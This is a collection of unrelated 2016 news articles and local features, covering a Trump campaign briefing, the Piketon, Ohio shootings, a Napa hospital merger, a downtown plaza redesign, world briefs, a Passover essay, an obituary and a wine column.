Heres a clip of a new film we at MoonBeam Kenya are passionate about producing, based on Postpartum Depression. So very proud of my partner, Lucy Mwangi, who bravely shared her story on Monday special with Janet Mbugua Ndichu Lucys experience and that of so many women who have unknowingly lived with postnatal depression, inspired this project. 1 in 7 Mothers will go through postpartum depression and this film will delve into the unseen world of their deep anxiety, confusion, depression and rage. As a mother, husband or friend, it will serve as great insight. Special thanks Kibanda Pictures

Check it out below:

Eve DSouza | Facebook


HOLLYWOOD, Fla.  His general-election appeal in question, Donald Trumps senior team is promising anxious Republicans that voters will see a real different guy soon after the GOP front-runner claims his partys presidential nomination.

When hes out on the stage, when hes talking about the kinds of things hes talking about on the stump, hes projecting an image thats for that purpose, Paul Manafort, who is leading Trumps primary election strategy, told Republican National Committee members in a private briefing late Thursday. The Associated Press obtained a recording of the discussion.

Youll start to see more depth of the person, the real person. Youll see a real different guy, Manafort said.

He gets it, Manafort said of Trumps need to moderate his brash personality. The part that hes been playing is evolving into the part that now youve been expecting, but he wasnt ready for, because he had first to complete the first phase. The negatives will come down. The image is going to change.

The message is part of the campaigns intensifying effort to convince party leaders that Trump will help deliver big electoral gains this fall, despite his contentious ways. Yet it also opens him up to questions about his authenticity.

Republican rival Ted Cruz seized on the remarks in a radio interview late Thursday.

Im actually going to give Trump a little bit of credit here. Hes being candid. Hes telling us hes lying to us, Cruz told host Mark Levin. You look at what his campaign manager says, is that this is just an act. This is just a show.

The Texas senator continued: When Donald talks about building a wall, when Donald talks about enforcing immigration laws, when Donald talks about, I guess, anything, that its all an act, a show.

The Republican National Committee gathered at a seaside resort in south Florida for its annual spring meeting. While candidates in both parties targeted primary contests in the Northeast, Hollywoods Diplomat Resort & Spa turned into a palm-treed political battleground.

Senior advisers for Trump, Cruz and Ohio Gov. John Kasich courted RNC members in a series of private meetings on the resorts grounds, sometimes sitting at adjacent tables in the marble-floored lobby. Trumps tightening grasp of his partys presidential nomination dominated much of the hallway discussion.

Hes trying to moderate. Hes getting better, said Ben Carson, a Trump ally who was part of the GOPs front-runners RNC outreach team.

Despite his teams aggressive message, Trump was telling voters he wasnt quite ready to act presidential. I just dont know if I want to do it yet, he said during a raucous rally in Harrisburg, Pennsylvania, that was frequently interrupted by protesters.

At some point, Im going to be so presidential that you people will be so bored, he said, predicting that the size of his crowds would dwindle if he dialed back his rhetoric.

Trumps team also signaled to RNC members that he was willing to dip into his personal fortune to fund his presidential bid, in addition to helping the national committee raise money, a promise that came as Trump prepared to launch his first big television advertising campaign in a month.

His campaign reserved about $2 million worth of air time in soon-to-vote Pennsylvania and Indiana, advertising tracker Kantar Medias CMAG shows.

Hes willing to spend what is necessary to finish this out. Thats a big statement from him, Manafort said in the briefing.

Manafort also insisted that Trump is prepared to work closely with party leaders, despite the candidates near-daily public attacks on what he calls a rigged presidential nomination system.

Is Donald Trump running against the Republican National Committee? The answer is he is not, Manafort said.

Trump is increasingly optimistic about his chances in five states holding primary contests Tuesday: Rhode Island, Connecticut, Pennsylvania, Delaware and Maryland. He is now the only candidate who can possibly collect the 1,237-delegate majority needed to claim the GOP nomination before the partys July convention.

Cruz and Kasich hope Trump will fall short so that they can have a chance to turn enough delegates to win the nomination at the convention.
SANTA CLARA  An atheists' group has filed a lawsuit against the Northern California city of Santa Clara because of a large granite cross at a city park.

KNTV-TV reports that the Wisconsin-based Freedom From Religion Foundation on Wednesday filed the lawsuit in U.S. District Court in San Jose, arguing that the city is violating the First Amendment by endorsing Christianity with the cross.

The 14-foot granite cross was donated in 1953 to mark the site of the second Spanish Catholic mission established in the city in 1777.

According to the lawsuit, a foundation member who lives nearby has had "unwelcome contact" with the statue.

Foundation attorney Rebecca Markert says community support for the cross doesn't matter because it's unconstitutional.

The city plans to respond after it has been served the lawsuit.
PIKETON, Ohio  Eight members of the same family were shot to death in the head Friday at four locations in rural southern Ohio, authorities said. They warned surviving relatives and residents to be careful and said the killer should be considered armed and dangerous.

Three children, ages 4 days to 3 years, survived the grisly killings that left seven adults and a 16-year-old boy dead, said Attorney General Mike DeWine and Pike County Sheriff Charles Reader at an afternoon news conference.

Authorities said preliminary information indicates that none of the eight victims was a victim of suicide. DeWine said it's possible more than one person was involved in the slayings.

Some of the victims were in bed, indicating they were shot while they were sleeping, authorities said. The victims were identified as members of the Rhoden family.

"It's heartbreaking," DeWine said. "The one mom was killed in her bed with the 4-day-old right there."

A motive isn't clear, authorities said.

A dozen Bureau of Criminal Investigation agents were called Friday morning to Pike County, an economically struggling area in the Appalachian region some 80 miles east of Cincinnati.

Goldie Hilderbran, 65, said she lives about a mile from where she has been told the shootings took place.

"I first heard about it this morning from our mail carrier," Hilderbran said.

Hilderbran said the mail carrier told her deputies had stopped her from delivering mail in the area they had blocked off.

"She just told me she knew something really bad has happened," Hilderbran said.

Gov. John Kasich, campaigning in Pennsylvania for his Republican presidential bid, said his office was monitoring the situation in Pike County.

"Reports we are receiving from Peebles are tragic beyond comprehension," Kasich wrote on his Twitter account.

The FBI in Cincinnati also said it was closely monitoring the situation and has offered assistance to the Pike County sheriff's office if needed.

Peebles High School imposed a precautionary lockout Friday morning after authorities notified the superintendent of shootings that had occurred a few miles away, according to Regina Bennington, secretary to the superintendent for the Adams County Ohio Valley Schools district.

High school officials said the school was back to normal operations later Friday morning.

Piketon is the site of a Cold War-era uranium plant that was closed in 2001 and is still being cleaned up.
As many as 100 supporters and opponents of the proposed merger of St. Joseph Health System, the parent of Queen of the Valley Medical Center, with Providence Health & Services attended a public meeting at City Hall on Thursday morning to comment.

The meeting was hosted by the state Attorney Generals office as part of the regulatory review of the merger.

Providence Health & Services is the third-largest not-for-profit health system in the United States and serves Alaska, California, Montana, Oregon and Washington.

More than a half dozen community groups praised the merger, which would create a new nonprofit called Providence St. Joseph Health. They said it would improve Queen of the Valleys ability to provide services in Napa County.

Queen of the Valley registered nurses, who are involved in protracted negotiations for their first contract, said they feared reduced services from an enlarged health care organization.

I support forming the new organization, said Queen CEO and President Walt Mickens. The two companies have similar missions and with this partnership well have the resources and expertise of a combined and larger organization.

Benefits will include increased access to care and more clinical partnerships, new services and more innovation, said Mickens, who called this a perfect partnership.

We do not intend to reduce jobs or services as a result of this merger, Mickens said.

Dr. Susana Gonzalez, who works at the Queen, said the merger will enhance our ability to provide excellent clinical care to this region.

As an example, she spoke of programs the Queen operates that work to help patients more effectively manage chronic diseases.

We need good partners to do this work, she said. This partnership is what Napa needs.

Not everyone agreed.

The California Nurses Association is asking California Attorney General Kamala Harris to deny the merger.

According to a news release from the CNA, nurses remain deeply troubled  about access to essential healthcare services, patient safety and the working environment in St. Joseph Health System and Providence hospitals.

Queen registered nurse Leigh Glasgow said she was also troubled about the proposal to create a vast new health care system.

Registered nurse Mary Lou Bahn said she was concerned about how the Queen would fare as part of an even larger health care organization. Are we going to be a little fish in a big pond? Are we going to be forgotten in the process?

Bahn said she was also concerned that the merger could affect the as-yet-unnegotiated CNA union contract. Nurses voted to join the CNA in 2013, but have yet to sign their first contract during protracted talks. This has sparked occasional picketing outside Queen of the Valley.

Nurses concerns about patient safety and staffing levels and other issues need to be addressed, she said.

Registered nurse Marc Ebeling argued that there was no financial necessity for this merger.

He wondered what might happen after the deal is completed. The Queen has already outsourced some services, such as renal care. If the merger is approved, do we see other services evaporate?

Nurse Crystal Malinowski said that the lack of a signed union nursing contract has led to an exodus of nurses to other hospitals. By her calculation, 151 nurses have left the Queen in the past three years.

We have had more nurse turnover recently, St. Joseph Health spokesoman Vanessa deGier said after the meeting. The Queen averages about 18 percent turnover currently and the national average is 14.6 percent, she said.

DeGier attributed this to multiple factors, including wage increases that have not been finalized because of the unsigned union contract and nurses who have retired.

Representatives from local nonprofits praised the proposed merger.

Queen of the Valley Medical Center has made a positive impact in our community, said Community Health Initiative Executive Director Elba Gonzalez-Mares.

We are thrilled and fully support the partnership because it will ensure that organizations like ours can continue to address the health care needs of our community.

It makes sense, said Fernando Diaz, a spokesman for Ole Health. I support this merger.

Our partnership with St. Joseph has been an essential part of our ability to help clients, said Tracy Lamb, executive director of Napa Emergency Womens Services (NEWS). We trust the administration of the hospital to know what is in the best interest of our community.

The merger is a good idea, said George Porter, chairman of the Queen of the Valley Medical Center Foundation.

Bigger businesses get better prices, which will help make expensive medical equipment and services more affordable. That helps everyone, he said.

Representatives from Operation Access in Napa, the Napa Valley Coalition of Nonprofit Agencies, On the Move, and the Napa Chamber of Commerce also spoke favorably of the merger, said deGier.

A final decision on the merger could be made by the end of May or early June, she said.

As of 2015, Providences services included 34 hospitals, 475 physician clinics, senior services, supportive housing and many other health and educational services. The health system and its affiliates reportedly employ more than 76,000 people across five states.

St. Joseph Health is smaller. It includes 16 hospitals, physician organizations, home health agencies, hospice care, outpatient services and community outreach services. It serves patients in California, Texas and Eastern New Mexico. As of June 2014, it had a reported 24,733 employees.

Both systems maintain a strong tradition of Catholic health care but also include non-Catholic health care affiliates. The Sisters of St. Joseph of Orange will continue to sponsor the Catholic heritage of the hospitals.
Its derided clock tower has long since been pulled down, the fountain turned into a planter and a seating pit has grown mostly empty. But after more than 40 years, Dwight Murray Plaza is inching closer to a new look and new life in downtown Napa.

After months of planning, discussions and public forums, designers on Wednesday released a proposal for the First Street plazas most radical transformation since its mid-1970s opening.

Out would go the squares disused fountain, brick-like pavement and other remnants of its dated styling. In their place would come a single-level surface with room for larger public events, along with with cafe-style tables and chairs, new shade trees and a walk-through, flat-surface water feature.

The proposal by Oakland-based Bottomley Design & Planning won wide praise from the citys Parks and Recreation Advisory Commission, which agreed to send it to the City Council for its blessing. The council will vote on the Dwight Murray Plaza overhaul as early as May 17, according to Rick Tooker, director of the Community Development Department.

City officials hope to start the $1.5 million upgrade in October and reopen the square in the first half of 2017, near the expected opening date of the Archer hotel to the west.

After leveling the seating pit, Napa would clad the single-level surface with paving blocks in a brighter three-tone pattern, including vertical and horizontal cross-hatch lines. Concentric circles would frame a central fountain with multiple 2-foot-high flumes, set flush with the surface to allow children to run through the water  and allow city workers to turn off the fountain and use its flat face for event space.

Besides improving the plazas beauty, the water feature would give Napans a landmark and sense of place that have been missing since the removal of the clock tower, said Phil vanderToolen, a Napa landscape architect consulting with the city on the project.

You could say, Meet me at the fountain, he told parks commissioners. Theres no place else where you will see this. Everyone will know what youre talking about.

About nine movable metal tables shaded by parasols would adorn the plaza, with matching chairs for about three dozen people. This outdoor furniture would be removed for public gatherings and locked down overnight to prevent theft, said John Coates, city parks and recreation director.

The plaza also would gain LED bulbs for the fountain and atop 14-foot-tall light standards, which designers said would make the area more appealing both to pedestrians and those visiting restaurants facing the square.

Three rows of plane trees  about 40 feet tall at maturity  would be planted at the square, one row on the west side and two to the east, with two fixed benches added on each side beneath the tree canopies.

The project outlined by vanderToolen and Terry Bottomley, urban designer for the Bottomley firm, forms a near-total break from the principles that guided the public squares creation.

When it debuted on Independence Day 1974, Dwight Murray Plaza was intended to become Napas prime public gathering spot in a renewed and modernized downtown, and the city lavished on its public square a waterfall-style fountain and a four-sided, 70-foot-tall clock tower atop timber crossbeams. Stucco-lined buildings along the square became home to the Carithers and Mervyns department stores, seemingly guaranteeing a constant flow of visitors and activity.

Time, however, has been unkind to the plazas design and to the plaza itself. The city eventually took down the clock tower after years of erratic timekeeping and complaints about its styling. Repeated soap dumping and other acts of vandalism forced the fountains shutdown, and the squares cramped, stepped surface has cut into the available space for fairs, concerts and large-scale gatherings, which have gravitated to Veterans Memorial Park or directly onto closed-off downtown streets.

In revamping and leveling the plaza, designers and city officials hope to ease access across the space while adding shade and creating more comfortable seating. The new-look square also is intended to complement the reboot of another 1970s-era downtown creation  the Brown Street pedestrian walkway, which like the plaza is adorned with red brick and has become largely ignored by visitors.

Restoration plans for the Brown Street promenade, which will require funding separate from that for the plaza, would replace its heavy tree cover with new plantings in two rows beside a wide, airy center section with room for the booths and stands of a street fair. The layout is expected to reduce the number of street closures needed for downtown festivals.

Parks commissioners readily accepted the modernized plaza, but asked planners to ensure passers-by will not lose sight of its historic ties.

Kimberly Menager urged the city to keep the sites horn-loudspeaker monument  which memorializes Peter L. Jensen and Edwin S. Pridhams invention of the modern speaker in Napa in the 1910s  as close to its current site as possible. Meanwhile, Mark Lucas spoke for other commissioners in seeking a new plaque at the square to keep alive the story of its namesake.

Dwight Murray Sr. was my doctor when I was a little kid, he recalled of the longtime Napa physician and former American Medical Association president, who died in 1974. He was a great man and a great doctor. Id like to have something in the plaza so that people can walk in and actually see something that shows why this man was important.
NAYPYIDAW, Myanmar

Myanmar or Burma? Take your pick, Suu Kyi tells diplomats

Myanmars de facto leader, Aung San Suu Kyi, has made clear to foreign diplomats: It doesnt matter if they call her country Myanmar, or its old name, Burma.

Suu Kyi gave her position Friday in a speech to the foreign diplomatic corps. She is the governments de facto leader in the specially created post of state counsellor, but concurrently is foreign minister.

Democracy supporters in Burma balked when the then-ruling military in 1989 renamed the country Myanmar. The military in turn was irritated when activists and their supporters abroad  including many Western governments  insisted on sticking with the old name.

Suu Kyi told the diplomats it was up to them what name to use because the constitution doesnt mandate either name.

BERLIN

German leader regrets voicing opinion on Erdogan poem

German Chancellor Angela Merkel says she regrets expressing her personal view that a TV comics poem about Turkeys president was intentionally offensive.

Merkel said Friday that she stood by her decision to grant Turkeys request to let prosecutors and courts decide whether German comedian Jan Boehmermann had insulted a foreign head of state. Under German law, the government has to agree before prosecutors can investigate in such cases.

But Merkel said her view that the poem about Turkish President Recep Tayyip Erdogan was intentionally offensive had given some the opinion that she didnt value free speech.

Critics have accused Merkel of kowtowing to Turkey because of the countrys important role in stopping the influx of migrants to Europe.

Merkel is scheduled to visit a refugee camp in Turkey on Saturday.

AMSTERDAM

E.U. nations support new blacklist for tax havens

European Union nations want a strict common blacklist of non-cooperative tax jurisdictions that have been at the heart of the recent offshore accounts scandal in an effort to close loopholes and crack down on the use of tax havens.

The E.U. Commission proposed setting up such a list early this month, and the 28 E.U. finance ministers gave their political endorsement of it at a meeting Friday.

E.U. Commissioner Valdis Dombrovskis says we can get this listing system up and running very soon. The E.U. Commission says nations on the tax blacklist should also be sanctioned if appeals for change go unheeded.

So far, the E.U. and some of its member nations have had several different tax haven lists, which have mostly been ineffective.

SAN SALVADOR, El Salvador

El Salvador votes to punish anyone who negotiates with gangs

El Salvadors legislature approved a new law that would impose up to 15 years in prison on anyone who negotiates with or offers benefits to street gangs.

The measure approved by the unicameral legislature is the latest in a series of moves aimed at attacking gang violence that helped push El Salvadors murder rate to 103 homicides for every 100,000 residents last year.

The law would punish anyone who benefits from gang activities or acts as an intermediary for gangs. It also prohibits negotiating with gangs by offering reduced sentences for them.

SAN JUAN, Puerto Rico

Puerto Ricos economic crisis threatens Democratic primary

Puerto Ricos economic crisis has thrown the U.S. territorys upcoming Democratic primary into question.

The director of the islands Elections Commission says shes holding an emergency meeting on Friday because the financially strapped government has not released $3 million needed to print ballots and pay for vote-counting machines for the June 5 primary.

Liza Garcia says shes considering going to court to force payment. Puerto Ricos Treasury Department has said it will not release the money until next week.

Puerto Rican Democrats are to choose 67 delegates on June 5.

The territory has been running out of money amid a 10-year economic crisis and it faces $70 billion in public debt the governor has said is unpayable and needs restructuring.

STOCKHOLM

Norwegian fighter jet drops training mission to save patient

In an unusual life-saving mission, a Norwegian fighter jet flew to the rescue when a patient in the countrys north needed urgent help.

On April 4, a patient in Bodoe needed a machine that oxygenates blood and removes carbon dioxide but the closest one available was in Trondheim, 470 kilometers (290 miles) south.
CARACAS, Venezuela

Venezuela to cut electricity for 4 hours daily amid crisis

Venezuela says it will cut power nationwide for four hours each day as it struggles to provide electricity amid a drought.

Electricity Minister Luis Motta said Thursday that the rationing will start next week. He says it will last for 40 days or until water levels stabilize at the Guri Dam that provides most of the South American countrys electricity.

The daily power cut is the latest energy-saving measure taken recently by the government. President Nicolas Maduro has also given public workers Fridays off, declared new national holidays and said he will shift the countrys time zone to help save power.

Maduros socialist administration blames the crisis on a drought caused by the El Nino weather phenomenon. Experts say a lack of investment in infrastructure is also to blame.

STOCKHOLM

Snowden seeks legal guarantee to receive prize in Norway

A Norwegian law firm says it filed a lawsuit asking an Oslo court to ensure that Edward Snowden can travel to Norway to receive an award without risk of being extradited to the United States.

Lawyers at the Schjodt law firm in Oslo said Thursday they filed the petition on behalf of Snowden and the Norwegian PEN group, which has invited him to receive its Ossietsky Prize in November.

Attorney Halvard Helle told the AP that the petition seeks a declaratory judgment stating that Snowden, currently in Russia, cannot be extradited to the U.S.

The former National Security Agency contractor in 2013 leaked details of a secret government eavesdropping program and left the country. He faces U.S. charges that could land him in prison for up to 30 years.

TEHRAN, Iran

Iran calls U.S. Supreme Court ruling on Beirut blast a theft

Iran rejected a ruling by the U.S. Supreme Court that clears the way for families of victims of the 1983 Marine barracks bombing in Beirut and other attacks linked to Iran to collect nearly $2 billion in frozen Iranian funds.

The state IRNA news agency quoted on Thursday the spokesman of Irans foreign ministry, Hossein Jaberi Ansari, as saying that such a verdict is a theft of the assets and properties of the Islamic Republic of Iran.

From the United Nations, Ansari spoke to IRNA and said Wednesdays ruling is tantamount to a ridicule of justice and law.

The ruling directly affects relatives of victims, including families of the 241 U.S. service members who died in the Beirut bombing.

Iran denies any links to the attack.

BAMAKO, Mali

Extremists kidnap Red Cross staff in north Mali

A Tuareg separatist says an Islamic extremist group claimed responsibility for kidnapping three International Committee of the Red Cross staffers in north Mali.

The separatist group member says before the kidnapping by the jihadist Ansar Dine group, French soldiers stopped the team near Abeibara, detaining its guide and the guides apprentice.

He said the three staffers were then kidnapped by Ansar Dine near Kidal, and the jihadis say they will free the staffers if French forces free the guide and apprentice.

The separatist is in contact with Ansar Dine, and spoke on condition of anonymity because he is not permitted to speak to the press.

Valery Mbaoh Nana, an ICRC spokesman in Bamako, said the staffers went missing Saturday, but his organization hasnt received such a claim, or demands.

PEDERNALES, Ecuador

Lucky duck pulled from rubble 5 days after Ecuador quake

Rescuers searching through quake-collapsed buildings in Ecuador found an unusual survivor: A flapping duck that had been buried under a pile of rubble.

The white-and-brown duck has become an instant social media celebrity in a country eager any good news five days after a magnitude-7.8 earthquake flattened large swaths of the country and killed at least 577 people.

Firefighters were searching for survivors in the ruins of a collapsed structure in the coastal city of Pedernales when they pulled the animal free on Wednesday. Rescuers grinned and cheered as the duck flapped its wings.

The bird spent the night resting and eating bits of papaya.
On Friday night, Jews all around the world will gather together to welcome Passover.

This holiday tells the ancient and compelling story of the Israelites enslavement in Exodus, their escape and journey to freedom. It reflects the ongoing struggle to escape from all that enslaves and to embrace freedom. The Exodus narrative is a foundational text for Jews, Christians and Muslims as well as many other people. Its powerful and universal themes touch at the core of what it means to be human  the pursuit of freedom, for what and at what cost? The journey from enslavement to freedom resonates just as much today as it did thousands of years ago.

This holiday is celebrated in the home as a ritual, the Seder. Celebrants read the story of liberation out of a small book called the Haggadah. The ordinary dinner table is transformed into a sacred table, beautifully decorated and filled with ritual and symbolic items, and becomes an experiential remembrance. One is supposed to feel the pain and anguish of slavery and then go on a journey that culminates in the sweetness and the choices of freedom. Participants connect to the story as if he or she had actually been in Egypt. The creators of the Haggadah knew that the best way we really learn is by experiencing transformative moments ourselves.

At the core of the Hebrew word for Egypt is a simple word meaning a narrow place. Anyone who ever been enslaved to another or to a vice has experienced constriction of heart and soul. One need not look far in this world to find contemporary slavery from human trafficking, to child soldiers to gangs.

Around the world the people who are being oppressed and not allowed basic human rights because of their gender, their religion, their ethnic identity. And many understand all too well enslavements of other varietiesaddiction (drugs, alcohol, Internet, gambling, etc.) consumerism, envy, xenophobia, anger and fear, as well as values that demean rather than uplift, or obsessive habits that tear apart the heart and the soul.

I recall the halcyon days of youth believing that freedom meant high school graduation and leaving home. However, as we know, freedom is not that easy. We see so many people squander the gift of freedom by foolish and irrational acts. The United States is the land of freedom and opportunity. Yet, so often we forget that freedom means taking responsibility, making choices, duty and obligation. As a country, we are often more obsessed with rights rather than responsibilities.

The challenge for so many today is to find ways to truly appreciate the privilege of freedom.Eleanor Roosevelt provided insight into the challenge of freedom: Freedom makes a huge requirement of every human being. With freedom comes responsibility. For the person who is unwilling to grow up, the person who does not want to carry his own weight, this is a frightening prospect. When we fail to vote, when we are not civicly engaged, when we deny others their freedoms, when we squash freedom of expression (even in a peaceful way), when we tolerate those who speak vitriolic words that deny others freedom, when we fail to grow we are squandering our own freedom.

On Passover, the journey from slavery to freedom is not taken for granted. This responsibility is not an easy one. It requires honesty, awareness, and a willingness to admit what we are enslaved to and whom we enslave. However, the deeply personal and spiritual question of freedom really provide a greater challenge. It has to do with a freedom that stimulates conscience, doing what is right, speaking out when other human beings are demeaned and appreciating the freedom we all have to feel, to love others and to celebrate the beauty of life.

The Passover Seder is much more than a wonderful dinner. It is replete with symbolism and meaning. Something magical and transformative occurs at many tables when this ancient story is told, and it is infused with contemporary meaning and with timeless insights about the nature of being human.True freedom can be found anywhere, Nelson Mandela felt free even when in prison: I learned that courage was not the absence of fear, but the triumph over it. The brave man is not he who does not feel afraid, but he who conquers that fear.

Passover is a universal story of the human journey  one that may never end. We are all part of an ongoing story of our own lives  of what we are enslaved to and how we value freedom. The Passover story ends in an uplifting way  that we are capable of reaching the promised land of freedom  politically, emotionally and spiritually.

Bycel serves as the rabbi of Congregation Beth Shalom of Napa and is an adjunct professor at the University of San Franciscos Swig Program in Jewish Studies and Social Justice.
Neil Aldorotys passion was helping people.

Aldoroty died March 19 at age 69 after fighting cancer for the past 23 years. Neil and his wife, Karen, moved to St. Helena in 1999 and started a new business, a premiere wine storage facility, 55 Degrees, on Church Street in St. Helena.

A celebration of Neils life will be from 2 to 5 p.m. Sunday, June 26, at the Charles Krug Winery, 2800 Main St. in St. Helena. The public is welcome.

Recently, Karen Aldoroty and Denise Johnson, who has been with 55 Degrees since it began, spoke about Neil.

He grew up in Long Beach, earned a degree at Long Beach University and served in the U.S. Army after being drafted. He transferred to the U.S. Army Reserve in California and served for several years. In 1970, he earned his medical license in Guadalajara and did an internship at Providence Saint Johns Health Center in Santa Monica.

Afterward, he did a four-year residency in Wichita, Kansas, for psychiatry and then established his private practice. We stayed there and had a good practice, Karen said. But our love was always the Napa Valley. We would come out here on vacations and Neil started collecting wine (in the mid-1980s). Neil and Karen got together in 1972 and were married four years later. Karen said their first date was to St. Helenas Charles Krug Winery.

In 1993, Aldoroty was diagnosed with stage 4 non-Hodgkins lymphoma. Karen said the only treatment for Neil was a clinical trial out of the University of Texas MD Anderson Cancer Center in Houston. He was in the clinical trial for 2 years and the cancer didnt return. Neil went back to work as a psychiatrist, but Karen said he had different views of life after that close call with death.

A large part of his (psychiatry) practice for the next couple of years were terminally ill people that had heard about Neil, Karen said. He would do the easiest thing, for example, like giving people a list of questions you should ask your doctors. It sounds simple, but when youre in that situation and youre not a medical person, how could you know what questions to ask. And the patients, of course, were terrified.

Five years later, in 1998, Neil came up with the idea of 55 Degrees, Karen said. People would be able to have a California address, if they had an account with us, and then they could ship the wine to themselves  at home  because back then, you couldnt ship wine to most of the states, she added.

The winery could ship a customers wine to 55 Degrees, it would be put into an individual locker, and the employees would give their client a list of shippers, who would come to the warehouse and pick up the wine. It helped the wineries sell more wine and (the idea) started this business, Karen said. I think we were one of the first storage businesses, to be honest with you.

She added that being a shipping agency was never their goal.

Neil was passionate about wine, and being a psychiatrist, he was a people person, his wife said. Neil would help new vintners launch their releases, because he would send an email out to our clients, introducing the wine, and our clients would buy directly from the vintner, and hopefully, we stored most of it. It was about helping the wine community and becoming part of the wine community, which was very important to Neil.

The Aldorotys moved to the Napa Valley in 1999 and established the business 16 years ago. Johnson was the first person hired. Neil and Denise shared an office, a filing cabinet, one email account and one computer. Back then, when he would lock the door at the end of the day, he would forward all his phone calls to his cellphone, Johnson said. He was always working, all day.

Currently, there are seven people who work for 55 Degrees, which has a storage facility on Church Street and an unmanned warehouse on Fulton Avenue. Karen said the business has a couple of thousand clients.

At the beginning of 2001, Neils cancer returned. He would be diagnosed with non-Hodgkins lymphoma four times in his life, the last time was in 2008-09, Karen said. He was at UCSF for seven months. After finishing his treatments, he slowly regained his strength throughout 2009.

In September 2011, he broke his leg, but Karen said that didnt stop him much. Two months later, his physician, Dr. Mike Shifflett, an orthopedic surgeon in Napa, told Karen that Neil probably would be able to start using a walker in March.

Karen said in December, Neil started walking, without a walker and without a cane. He was very determined.

In January 2015, Neil was diagnosed with colon rectal cancer. We went back to MD Anderson and started chemo before we flew home. He was responding to it, but it had metastasized. It had spread. He fought it until the very end, Karen said.

She added, He was my life partner. We have been through a lot, illnesses, and life has thrown us a lot of curves.

During his 23 years of fighting cancer, Neil became an advocate for others with life-threatening illnesses. He helped an awful lot of people with their struggles with cancer, Karen said. I think that helped him, too.

Neil was a medical doctor, a psychiatrist and a cancer patient, so he knew what he was talking about on both sides of the aisle. After his first diagnosis, Neil began counseling people to get second or third opinions, Karen said. We learned an awful lot going through the cancer treatments. At first, we thought the doctors know all the answers and this is what you do with this particular type of cancer. But, that wasnt the case. MD Anderson can have a totally different regimen than Stanford or Dana-Farber (Cancer Institute in Boston). So that was kind of an eye-opener.

Neil helped hundreds of people from all walks of life, Karen said. I would hear Neil on the phone talking for hours to people he had never even met. He was very generous with his time. I think it gave him strength.
St. Helena Primary School was named one of three Napa County Gold Ribbon Schools by the California Department of Education.

The Napa County Office of Education, which manages the application process for local schools, celebrated the achievement.

We are so proud that we have three unique, innovative schools that have been recognized by the state, said Napa County Superintendent of Schools Barbara Nemko.

Tamara Sanguinetti, principal of the primary school since the 2014-2015 school year, was reluctant to take credit for the award when she addressed the school board on April 14.

This award is for all the people who came before me, she said. The teachers, the principals, the staff, everyone.

The Gold Ribbon award is temporarily replacing the California Distinguished Schools Program, according to the state, which bestowed the honor on 758 schools.

The other Napa County honorees were Donaldson Way Elementary School in American Canyon and Bel Aire Park Magnet School in Napa.
Springtime always refreshes my curiosity and ignites my wanderlust. Not that I drop everything and hit the road, but I start rummaging through my wines looking for something different to quench my thirst. No more bold, warming reds or full-bodied whites. I want something light, something different. And that often means something from Italy.

Traveling up and down the boot courtesy of my corkscrew gives me opportunities to taste an amazing variety of winesred, white or sparkling. Italy has more wine grape varieties than does any other country, and for some reason, many of them have not been successfully grown elsewhere. Ian dAgata, in his superb reference book, Native Wine Grapes of Italy (University of California Press, 2014), counts 377 varieties he describes as native, meaning they originated there or are identified almost exclusively with Italy. Some may have been carried westward by the ancient Greeks or Phoenicians, but over the centuries they have thrived in Italy but not elsewhere, qualifying them as native in dAgatas reckoning. The number is almost certainly fluid as DNA recognition of grape varieties improves; some varieties may yet be identified as an Italian name for a well-known foreign grape. But consider this: There are nearly 1,400 wine grape varieties grown worldwide, according to the most authoritative book on the subject, Wine Grapes, by Jancis Robinson, Julia Harding and Jose Vouillamoz (Harper Collins, 2012). If dAgatas count is correct, more than a quarter of the worlds wine grape varieties are Italian.

That gives Italian vintners a lot to play with.

The trump card for Italian wine producers is their potential to make world-class wines that exhibit aroma and flavor profiles altogether different from those well known to the wine-buying public, dAgata writes. In other words, Italys native grapes and wines offer jaded wine-loving consumers something new and interesting, at times even something wild and wacky. These wines are every sommeliers dream: delicious, food-friendly alternatives to the all-too-often overly alcoholic, oaky, tropical-fruit, or chocolate bombs that can be some chardonnays and cabernet sauvignons.

Italian white wine varieties are especially fascinating. Unfortunately, ask consumers to name an Italian white wine and most would probably think of pinot grigio, which translates into plain English as boring. (There are exceptions, of course. Look for pinot grigio from the mountain vineyards of Alto Aldige in northern Italy. But pinot grigio is just the Italian name for the French pinot gris.) A little sleuthing in finer wine shops will uncover some delicious and exotic gems ideally suited for the lighter cuisine we tend to favor in warmer weather.

Piemonte, the region of robust Barolo and Barbaresco reds from the nebbiolo grape, counters with a racy, delicately floral white wine called Roero dArneis. Garganega may be Italys stealth white: The grapes name rarely appears on labels, but it plays top fiddle as the grape of Soave from the region around Venice.

In the Marche, verdicchio produces a medium-bodied, earthy white with a floral note echoing Riesling and an appealing bitter-almond flavor on the finish. Falanghina, from the region where mozzarella reigns supreme, is an ideal partner for caprese salad or pizza margherita.

Lets not forget the islands. Sicilys grillo is terrific with seafood seasoned with olives and capers. And Sardinias vermentino seems to capture the essence of the Mediterranean. Its citrus and sometimes tropical flavors are accented by herbal notes of wild sage, rosemary and thyme, plus a salinity that suggests the sea breeze cooling the island vineyards.

Italy can help us celebrate lifes victories with bubbles, of course. Prosecco is a soft, enjoyable and affordable fizz unencumbered by the luxurious prices and expectations of champagne, while Franciacorta, made in the Champagne style, lends sophistication.

Let the wine travels begin.
Speaking in Sofia on Friday (22 April) NATO Deputy Secretary General Alexander Vershbow stressed the importance of the Black Sea region for Euro-Atlantic security.

Mr. Vershbow addressed the current strategic landscape and what NATO is doing to respond. Significantly, we face strategic threats from two different directions at the same time. On the one hand, a more assertive Russia is challenging international law and the sovereignty of its neighbours, with its illegal annexation of Crimea and destabilization of Eastern Ukraine, Mr. Vershbow said. On the other hand, he added, instability and violence in our southern doorstep risks spilling over into Allied territory in the form of terrorism and uncontrolled migration. The NATO Deputy Secretary General underlined that because of Bulgarias location at the intersection of these two threats, they are of great concern and the Alliance benefits greatly from Bulgarias insight and experience.

Referring to NATOs response to the threats in the South, the Deputy Secretary General said that NATO is stepping up efforts to project stability across the region as a whole by expanding the Alliances efforts to build greater defence capacity. Training, advising and assisting local forces so that they are better able to secure their own countries and, where appropriate, to support and train others. This is something that we are already doing for countries like Iraq, Jordan and Tunisia, he said.

Mr. Vershbow highlighted that both challenges - a more assertive Russia, and instability in the Middle East and North Africa  will be very high on the agenda at the NATO Summit in Warsaw in July, where the Alliance will be making decisions to further strengthen collective defence and deterrence.

